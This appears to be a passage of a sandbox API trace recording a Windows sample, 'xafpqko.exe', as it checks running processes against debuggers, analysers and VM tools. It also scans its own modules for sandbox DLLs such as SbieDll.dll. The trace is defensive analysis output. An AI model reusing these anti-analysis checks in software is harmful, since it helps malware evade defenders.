(lpString="ResourceHacker.exe") returned 18 [0283.246] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2676fe8 | out: hHeap=0x2670000) returned 1 [0283.246] lstrlenA (lpString="vmacthlp.exe") returned 12 [0283.246] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26773e0 | out: hHeap=0x2670000) returned 1 [0283.246] lstrlenA (lpString="OLLYDBG.EXE") returned 11 [0283.246] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26773f8 | out: hHeap=0x2670000) returned 1 [0283.247] lstrlenA (lpString="windbg.exe") returned 10 [0283.247] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677338 | out: hHeap=0x2670000) returned 1 [0283.247] lstrlenA (lpString="bds-vision-agent-nai.exe") returned 24 [0283.247] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677410 | out: hHeap=0x2670000) returned 1 [0283.247] lstrlenA (lpString="bds-vision-apis.exe") returned 19 [0283.247] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677438 | out: hHeap=0x2670000) returned 1 [0283.247] lstrlenA (lpString="bds-vision-agent-app.exe") returned 24 [0283.247] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677458 | out: hHeap=0x2670000) returned 1 [0283.247] lstrlenA (lpString="MultiAnalysis_v1.0.294.exe") returned 26 [0283.247] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677480 | out: hHeap=0x2670000) returned 1 [0283.247] lstrlenA (lpString="x32dbg.exe") returned 10 [0283.247] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677350 | out: hHeap=0x2670000) returned 1 [0283.247] lstrlenA (lpString="VBoxTray.exe") returned 12 [0283.247] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26773c8 | out: hHeap=0x2670000) returned 1 [0283.248] lstrlenA (lpString="VBoxService.exe") returned 15 [0283.248] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26773b0 | out: hHeap=0x2670000) returned 1 [0283.248] lstrlenA (lpString="Tcpview.exe") returned 11 [0283.248] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677368 | out: hHeap=0x2670000) returned 1 [0283.248] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0283.248] lstrlenA (lpString="Fiddler.exe") returned 11 [0283.248] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677398 | out: hHeap=0x2670000) returned 1 [0283.248] lstrlenA (lpString="samp1e.exe") returned 10 [0283.248] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677380 | out: hHeap=0x2670000) returned 1 [0283.248] lstrlenA (lpString="sample.exe") returned 10 [0283.248] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26770c8 | out: hHeap=0x2670000) returned 1 [0283.248] lstrlenA (lpString="runsample.exe") returned 13 [0283.248] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677248 | out: hHeap=0x2670000) returned 1 [0283.248] lstrlenA (lpString="lordpe.exe") returned 10 [0283.248] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677200 | out: hHeap=0x2670000) returned 1 [0283.248] lstrlenA (lpString="regshot.exe") returned 11 [0283.249] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26770e0 | out: hHeap=0x2670000) returned 1 [0283.249] lstrlenA (lpString="Autoruns.exe") returned 12 [0283.249] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772f0 | out: hHeap=0x2670000) returned 1 [0283.249] lstrlenA (lpString="dsniff.exe") returned 10 [0283.249] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677080 | out: hHeap=0x2670000) returned 1 [0283.249] lstrlenA (lpString="VBoxTray.exe") returned 12 [0283.249] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677170 | out: hHeap=0x2670000) returned 1 [0283.249] lstrlenA (lpString="HashMyFiles.exe") returned 15 [0283.249] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677260 | out: hHeap=0x2670000) returned 1 [0283.249] lstrlenA (lpString="ProcessHacker.exe") returned 17 [0283.249] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677548 | out: hHeap=0x2670000) returned 1 [0283.249] lstrlenA (lpString="Procmon.exe") returned 11 [0283.249] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677188 | out: hHeap=0x2670000) returned 1 [0283.249] lstrlenA (lpString="Procmon64.exe") returned 13 [0283.249] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771d0 | out: hHeap=0x2670000) returned 1 [0283.249] lstrlenA (lpString="netmon.exe") returned 10 [0283.249] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677230 | out: hHeap=0x2670000) returned 1 [0283.250] lstrlenA (lpString="vmtoolsd.exe") returned 12 [0283.250] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772a8 | out: hHeap=0x2670000) returned 1 [0283.250] lstrlenA (lpString="vm3dservice.exe") returned 15 [0283.250] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772d8 | out: hHeap=0x2670000) returned 1 [0283.250] lstrlenA (lpString="VGAuthService.exe") returned 17 [0283.250] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677568 | out: hHeap=0x2670000) returned 1 [0283.250] lstrlenA (lpString="pr0c3xp.exe") returned 11 [0283.250] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677158 | out: hHeap=0x2670000) returned 1 [0283.250] lstrlenA (lpString="ProcessHacker.exe") returned 17 [0283.250] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677588 | out: hHeap=0x2670000) returned 1 [0283.250] lstrlenA (lpString="CFF Explorer.exe") returned 16 [0283.250] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26775a8 | out: hHeap=0x2670000) returned 1 [0283.250] lstrlenA (lpString="dumpcap.exe") returned 11 [0283.250] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677308 | out: hHeap=0x2670000) returned 1 [0283.250] lstrlenA (lpString="Wireshark.exe") returned 13 [0283.251] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677278 | out: hHeap=0x2670000) returned 1 [0283.251] lstrlenA (lpString="idaq.exe") returned 8 [0283.251] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677218 | out: hHeap=0x2670000) returned 1 [0283.251] lstrlenA (lpString="idaq64.exe") returned 10 [0283.251] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677068 | out: hHeap=0x2670000) returned 1 [0283.251] lstrlenA (lpString="TPAutoConnect.exe") returned 17 [0283.251] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26775c8 | out: hHeap=0x2670000) returned 1 [0283.251] lstrlenA (lpString="ResourceHacker.exe") returned 18 [0283.251] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26775e8 | out: hHeap=0x2670000) returned 1 [0283.251] lstrlenA (lpString="vmacthlp.exe") returned 12 [0283.251] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677098 | out: hHeap=0x2670000) returned 1 [0283.251] lstrlenA (lpString="OLLYDBG.EXE") returned 11 [0283.251] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677038 | out: hHeap=0x2670000) returned 1 [0283.251] lstrlenA (lpString="windbg.exe") returned 10 [0283.251] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772c0 | out: hHeap=0x2670000) returned 1 [0283.252] lstrlenA (lpString="bds-vision-agent-nai.exe") returned 24 [0283.252] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677608 | out: hHeap=0x2670000) returned 1 [0283.252] lstrlenA (lpString="bds-vision-apis.exe") returned 19 [0283.252] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677630 | out: hHeap=0x2670000) returned 1 [0283.252] lstrlenA (lpString="bds-vision-agent-app.exe") returned 24 [0283.252] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677650 | out: hHeap=0x2670000) returned 1 [0283.252] lstrlenA (lpString="MultiAnalysis_v1.0.294.exe") returned 26 [0283.253] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677678 | out: hHeap=0x2670000) returned 1 [0283.253] lstrlenA (lpString="x32dbg.exe") returned 10 [0283.253] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26770f8 | out: hHeap=0x2670000) returned 1 [0283.253] lstrlenA (lpString="VBoxTray.exe") returned 12 [0283.253] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677290 | out: hHeap=0x2670000) returned 1 [0283.253] lstrlenA (lpString="VBoxService.exe") returned 15 [0283.253] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677110 | out: hHeap=0x2670000) returned 1 [0283.253] lstrlenA (lpString="Tcpview.exe") returned 11 [0283.253] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677128 | out: hHeap=0x2670000) returned 1 [0283.253] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26774a8 | out: hHeap=0x2670000) returned 1 [0283.253] GetCurrentProcessId () returned 0x1384 [0283.253] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x1384) returned 0x28c [0283.259] Module32First (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.259] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677110 [0283.260] StrStrIA (lpFirst="xafpqko.exe", lpSrch="ivm-inject.dll") returned 0x0 [0283.260] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.260] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677110 | out: hHeap=0x2670000) returned 1 [0283.260] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26772f0 [0283.260] StrStrIA (lpFirst="xafpqko.exe", lpSrch="SbieDll.dll") returned 0x0 [0283.260] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.260] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772f0 | out: hHeap=0x2670000) returned 1 [0283.260] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.261] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26770e0 [0283.261] StrStrIA (lpFirst="ntdll.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.261] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.261] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26770e0 | out: hHeap=0x2670000) returned 1 [0283.261] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677260 [0283.261] StrStrIA (lpFirst="ntdll.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.261] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.261] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677260 | out: hHeap=0x2670000) returned 1 [0283.261] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.262] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677110 [0283.262] StrStrIA (lpFirst="KERNEL32.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0283.262] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.262] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677110 | out: hHeap=0x2670000) returned 1 [0283.262] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677080 [0283.262] StrStrIA (lpFirst="KERNEL32.DLL", lpSrch="SbieDll.dll") returned 0x0 [0283.262] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.262] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677080 | out: hHeap=0x2670000) returned 1 [0283.262] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.263] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26771a0 [0283.263] StrStrIA (lpFirst="KERNELBASE.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.263] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.263] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771a0 | out: hHeap=0x2670000) returned 1 [0283.263] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677308 [0283.264] StrStrIA (lpFirst="KERNELBASE.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.264] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.264] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677308 | out: hHeap=0x2670000) returned 1 [0283.264] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.264] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677218 [0283.265] StrStrIA (lpFirst="ole32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.265] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.265] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677218 | out: hHeap=0x2670000) returned 1 [0283.265] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677200 [0283.265] StrStrIA (lpFirst="ole32.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.265] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.265] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677200 | out: hHeap=0x2670000) returned 1 [0283.265] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.266] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677188 [0283.266] StrStrIA (lpFirst="combase.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.266] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.266] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677188 | out: hHeap=0x2670000) returned 1 [0283.266] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26772d8 [0283.266] StrStrIA (lpFirst="combase.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.266] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.266] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772d8 | out: hHeap=0x2670000) returned 1 [0283.266] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.267] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26772c0 [0283.267] StrStrIA (lpFirst="ucrtbase.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.267] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.267] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772c0 | out: hHeap=0x2670000) returned 1 [0283.333] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677248 [0283.333] StrStrIA (lpFirst="ucrtbase.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.333] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.333] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677248 | out: hHeap=0x2670000) returned 1 [0283.333] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.334] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677038 [0283.334] StrStrIA (lpFirst="RPCRT4.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.334] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.334] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677038 | out: hHeap=0x2670000) returned 1 [0283.334] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677128 [0283.334] StrStrIA (lpFirst="RPCRT4.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.335] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.335] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677128 | out: hHeap=0x2670000) returned 1 [0283.335] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.335] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677068 [0283.335] StrStrIA (lpFirst="SspiCli.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.335] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.335] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677068 | out: hHeap=0x2670000) returned 1 [0283.336] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26772d8 [0283.336] StrStrIA (lpFirst="SspiCli.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.336] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.336] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772d8 | out: hHeap=0x2670000) returned 1 [0283.336] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.338] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677038 [0283.338] StrStrIA (lpFirst="CRYPTBASE.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.338] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.338] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677038 | out: hHeap=0x2670000) returned 1 [0283.338] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26771d0 [0283.338] StrStrIA (lpFirst="CRYPTBASE.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.338] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.338] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771d0 | out: hHeap=0x2670000) returned 1 [0283.338] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.339] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26772a8 [0283.339] StrStrIA (lpFirst="bcryptPrimitives.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.339] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.339] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772a8 | out: hHeap=0x2670000) returned 1 [0283.339] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677050 [0283.339] StrStrIA (lpFirst="bcryptPrimitives.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.339] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.339] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677050 | out: hHeap=0x2670000) returned 1 [0283.339] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.340] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677080 [0283.340] StrStrIA (lpFirst="sechost.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.340] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.340] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677080 | out: hHeap=0x2670000) returned 1 [0283.340] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677110 [0283.340] StrStrIA (lpFirst="sechost.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.340] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.340] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677110 | out: hHeap=0x2670000) returned 1 [0283.340] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.341] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677218 [0283.341] StrStrIA (lpFirst="GDI32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.341] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.341] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677218 | out: hHeap=0x2670000) returned 1 [0283.341] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26771a0 [0283.341] StrStrIA (lpFirst="GDI32.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.341] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.341] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771a0 | out: hHeap=0x2670000) returned 1 [0283.341] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.342] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677278 [0283.342] StrStrIA (lpFirst="gdi32full.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.342] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.342] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677278 | out: hHeap=0x2670000) returned 1 [0283.342] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677080 [0283.342] StrStrIA (lpFirst="gdi32full.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.342] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.342] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677080 | out: hHeap=0x2670000) returned 1 [0283.342] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.343] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677068 [0283.343] StrStrIA (lpFirst="msvcp_win.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.343] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.343] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677068 | out: hHeap=0x2670000) returned 1 [0283.343] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677098 [0283.343] StrStrIA (lpFirst="msvcp_win.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.343] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.343] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677098 | out: hHeap=0x2670000) returned 1 [0283.343] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.344] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677188 [0283.344] StrStrIA (lpFirst="USER32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.344] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.344] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677188 | out: hHeap=0x2670000) returned 1 [0283.344] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677290 [0283.344] StrStrIA (lpFirst="USER32.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.344] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.344] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677290 | out: hHeap=0x2670000) returned 1 [0283.344] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.345] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677050 [0283.345] StrStrIA (lpFirst="win32u.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.345] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.345] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677050 | out: hHeap=0x2670000) returned 1 [0283.345] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677128 [0283.345] StrStrIA (lpFirst="win32u.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.345] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.345] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677128 | out: hHeap=0x2670000) returned 1 [0283.345] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.346] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677098 [0283.346] StrStrIA (lpFirst="advapi32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.346] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.346] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677098 | out: hHeap=0x2670000) returned 1 [0283.346] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677320 [0283.346] StrStrIA (lpFirst="advapi32.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.346] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.346] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677320 | out: hHeap=0x2670000) returned 1 [0283.346] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.347] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677218 [0283.347] StrStrIA (lpFirst="msvcrt.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.347] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.347] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677218 | out: hHeap=0x2670000) returned 1 [0283.347] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677230 [0283.347] StrStrIA (lpFirst="msvcrt.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.347] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.347] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677230 | out: hHeap=0x2670000) returned 1 [0283.347] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.348] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677158 [0283.348] StrStrIA (lpFirst="imagehlp.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.348] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.348] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677158 | out: hHeap=0x2670000) returned 1 [0283.348] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677170 [0283.348] StrStrIA (lpFirst="imagehlp.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.348] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.348] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677170 | out: hHeap=0x2670000) returned 1 [0283.348] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.349] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677110 [0283.349] StrStrIA (lpFirst="oledlg.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.349] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.349] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677110 | out: hHeap=0x2670000) returned 1 [0283.349] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677260 [0283.349] StrStrIA (lpFirst="oledlg.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.349] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.349] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677260 | out: hHeap=0x2670000) returned 1 [0283.349] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.350] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677080 [0283.350] StrStrIA (lpFirst="winmm.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.350] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.350] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677080 | out: hHeap=0x2670000) returned 1 [0283.350] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677290 [0283.350] StrStrIA (lpFirst="winmm.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.350] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.350] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677290 | out: hHeap=0x2670000) returned 1 [0283.350] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677248 [0283.351] StrStrIA (lpFirst="msimg32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.351] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.351] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677248 | out: hHeap=0x2670000) returned 1 [0283.351] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) 